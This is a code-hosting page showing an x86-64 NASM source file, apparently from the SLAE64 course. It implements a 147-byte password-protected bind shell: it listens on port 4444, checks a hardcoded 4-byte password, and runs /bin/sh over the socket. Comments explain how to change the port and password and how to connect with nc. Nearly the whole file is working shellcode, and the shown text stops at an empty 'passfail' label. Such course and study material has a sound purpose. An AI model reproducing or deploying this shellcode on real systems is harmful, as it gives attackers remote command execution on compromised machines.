214 lines
No EOL
6 KiB
NASM
214 lines
No EOL
6 KiB
NASM
; ===================================================================
|
|
; Password Protected Bind Shell
|
|
; Author: SLAE64-1351 (Keyman)
|
|
; Date: 03/09/2014
|
|
;
|
|
; Shellcode length: 147 bytes
|
|
;
|
|
; Description:
|
|
;
|
|
; Simple bind shell (listens on port 4444 by default) with 4 bytes
|
|
; password protection. Using a 4 bytes long password is still
|
|
; reasonably strong for a single-shot connection and keeps the
|
|
; code shorter.
|
|
;
|
|
; To change the port or the password just modify the values of the
|
|
; exp_port and exp_pass "variables" below.
|
|
;
|
|
; After the code gets executed connect to the newly opened port:
|
|
;
|
|
; nc <IP address> <port number>
|
|
;
|
|
; There is no password prompt. Type in the 4 bytes long password
|
|
; and hit enter. If the password matches, you are ready to type
|
|
; OS commands.
|
|
;
|
|
; ===================================================================
|
|
|
|
global _start
|
|
section .text
|
|
|
|
; -------------------------------------------------------------------
|
|
; Preprocessor directives so you can easily change the port and the
|
|
; password.
|
|
; -------------------------------------------------------------------
|
|
|
|
; Port number to listen on.
|
|
%define exp_port 0x5c11 ; 4444
|
|
|
|
; Password to use.
|
|
%define exp_pass 0x6c6c6568 ; hell
|
|
|
|
; -------------------------------------------------------------------
|
|
; DO NOT TOUCH
|
|
; preprocessor directives so syscalls can be easily referenced
|
|
; -------------------------------------------------------------------
|
|
|
|
%define sys_bind 49
|
|
%define sys_listen 50
|
|
%define sys_accept 43
|
|
%define sys_execve 59
|
|
%define sys_dup2 33
|
|
|
|
_start:
|
|
|
|
; ---------------------------------------------------------------
|
|
; START: create socket
|
|
; ---------------------------------------------------------------
|
|
xor rax, rax
|
|
push rax ; saving for sockaddr
|
|
push rax ; struct
|
|
push rax ; clear rax later
|
|
push rax ; set rdx to 0
|
|
pop rdx ; protocol
|
|
mov al, 2
|
|
push rax
|
|
push rax
|
|
pop rsi
|
|
pop rdi ; PF_INET
|
|
shr rsi, 1 ; SOCK_STREAM
|
|
add al, 39 ; socket syscall (41)
|
|
syscall
|
|
|
|
; ---------------------------------------------------------------
|
|
|
|
push rax ; store sockfd as first
|
|
pop rdi ; argument of bind
|
|
|
|
; ---------------------------------------------------------------
|
|
; START: create struct
|
|
;
|
|
; srv_addr.sin_family = AF_INET;
|
|
; srv_addr.sin_addr.s_addr = INADDR_ANY;
|
|
; srv_addr.sin_port = htons(portno);
|
|
;
|
|
; This is how it looks like on the stack (port is 4444):
|
|
;
|
|
; 0x02 0x00 0x11 0x5c 0x00 0x00 0x00 0x00
|
|
; 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
|
|
; ---------------------------------------------------------------
|
|
pop rax ; clear rax so can be
|
|
; used for syscall Nr.
|
|
mov byte [rsp], 2 ; set values
|
|
mov word [rsp+2], exp_port
|
|
push rsp
|
|
pop rsi ; addr of struct in rsi
|
|
|
|
; ---------------------------------------------------------------
|
|
; bind socket
|
|
; ---------------------------------------------------------------
|
|
|
|
push rax
|
|
pop rdx
|
|
add dl, 16 ; socklen_t addrlen
|
|
add al, sys_bind ; syscall number
|
|
syscall
|
|
|
|
; ---------------------------------------------------------------
|
|
; listen
|
|
; ---------------------------------------------------------------
|
|
|
|
; rdi should still hold the socket descriptor so we don't
|
|
; have to set it again
|
|
|
|
; We can save a 'xor rax, rax' here.
|
|
; If success, 0 is returned by bind, we will have the rax reg.
|
|
; cleared.
|
|
|
|
push 2
|
|
pop rsi
|
|
add al, sys_listen
|
|
syscall
|
|
|
|
; ---------------------------------------------------------------
|
|
; accept
|
|
; ---------------------------------------------------------------
|
|
|
|
; rdi should still hold the socket descriptor so we don't
|
|
; have to set it again
|
|
|
|
; We can save a 'xor rax, rax' here.
|
|
; If success, 0 is returned by listen, we will have the rax reg.
|
|
; cleared.
|
|
|
|
push rax
|
|
pop rdx
|
|
push rax
|
|
pop rsi
|
|
add al, sys_accept
|
|
syscall
|
|
|
|
; at this point rax contains the new socket descriptor
|
|
|
|
push rax ; save new sockfd
|
|
push rax ;
|
|
pop rdi ; first argument for
|
|
; read()
|
|
pop r15 ; save for later
|
|
|
|
; ---------------------------------------------------------------
|
|
; get passwd
|
|
;
|
|
; We will work with a 4 byte password, should be more than
|
|
; enough as no brute forcing is possible. Chances to guess
|
|
; the right value is 0. Of course passwd should not contain
|
|
; null bytes.
|
|
;
|
|
; n = read(newsockfd,buffer,4);
|
|
; ---------------------------------------------------------------
|
|
|
|
xor rax, rax ; read() is syscall Nr. 0
|
|
push rax ; buffer filled with 0s
|
|
push rsp ; setup pointer to buf
|
|
pop rsi
|
|
add rdx, 4
|
|
syscall
|
|
|
|
; compare pass received with valid pass and exit if no match
|
|
|
|
xor rcx, rcx
|
|
inc rcx
|
|
push rsp
|
|
pop rdi
|
|
push exp_pass
|
|
push rsp
|
|
pop rsi
|
|
cmpsq
|
|
jne passfail ; passwd match, give shell
|
|
|
|
shell:
|
|
; ---------------------------------------------------------------
|
|
; 6. exec shell
|
|
; ---------------------------------------------------------------
|
|
|
|
add cl, 2
|
|
mov rdi, r15
|
|
dup_loop:
|
|
push rcx ; have to save rcx as dup2
|
|
; changes it's value
|
|
xor rax, rax
|
|
sub rcx, 1
|
|
push rcx
|
|
pop rsi
|
|
add al, sys_dup2
|
|
syscall
|
|
pop rcx ; restore the counter
|
|
loop dup_loop
|
|
|
|
jmp mytext
|
|
|
|
code:
|
|
pop rdi
|
|
mov [rdi+7], BYTE al
|
|
push rax
|
|
push rax
|
|
pop rsi
|
|
pop rdx
|
|
add al, sys_execve
|
|
syscall
|
|
|
|
mytext:
|
|
call code
|
|
MyText: db '/bin/sh', 0x41
|
|
|
|
passfail: |